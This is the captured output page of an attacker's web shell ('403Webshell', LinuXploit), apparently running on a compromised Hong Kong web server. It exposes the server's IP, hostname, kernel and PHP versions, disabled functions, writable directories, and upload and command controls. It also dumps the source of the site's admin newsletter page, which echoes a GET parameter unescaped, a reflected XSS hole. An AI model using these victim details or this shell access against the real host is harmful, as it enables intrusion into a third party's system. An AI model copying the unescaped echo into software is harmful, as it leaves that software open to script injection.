403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)pathways.org.hk/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)pathways.org.hk/admin//emailcontentindex.php
<?
//require 'db_connect.php';
require 'check_login.php';
if ($logged_in <> 1) {
	echo("<script language=\"javascript\">"); 
	echo("top.location.href = \"login.php\";"); 
	echo("</script>"); 
	exit;
}
else
{
?>
<html>
<head>
<link rel="stylesheet" href="main.css" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Admin Page</title>
</head>
<body onLoad="location.href='#top'">
<table border="0" cellpadding="1" cellspacing="1" width="800">
<tr><td class='pagetitle' align="left"><b>Email News Letter</b></td>
<td class='pagetitle' align="right"><a href="emailcontentaddform.php"><img src="images/button_insert.png" alt="Add" border="0">&nbsp;Add</a></td>
</tr>
</table>
<?
echo "<p class='msg'>". $_GET['msg'] ."</p>";
?>
<table border="0" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF" width="800">
<tr><td width="600" align="left" bgcolor="#FFFFFF" class="contentsearch" style='padding-left:5'><strong>Subject</strong></td>
	<td width="150" align="left" bgcolor="#FFFFFF" class="contentsearch" style='padding-left:5'><strong>Date</strong></td>
	<td width="50" align="left" bgcolor="#FFFFFF" class="contentsearch" style='padding-left:5'><strong>Action</strong></td></tr>
<?php require("configure.php"); ?>
<?php
$sql="SELECT * FROM emailcontent ORDER BY emailcontentid desc ";
$result = mysql_query($sql);

while ($row = mysql_fetch_array($result,MYSQL_ASSOC))
{
	if ($x % 2 ==1)	{
		$color = "bgcolor=#F6F6F6";
	} else {
		$color = "bgcolor=#EAEAEA";
	}
	print "<tr>";
	print "<td height='22' class='content' $color valign='middle' style='padding-left:5'>".$row{'emailsubject'}."</td>";
	print "<td height='22' class='content' $color valign='middle' style='padding-left:5'>".$row{'emaildate'}."</td>";
	print "<td class='content' $color valign='top' align='center'>";
	print "<a href='emailcontentmodifyform.php?emailcontentid=".$row{'emailcontentid'}."'>";
	print "<img src='images/button_properties.gif' border='0' alt='Modify'></a></td>";
	print "</tr>";
	$x = $x +1;
}
mysql_close($dbh);
?>
</table>
</body>
</html>
<?
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit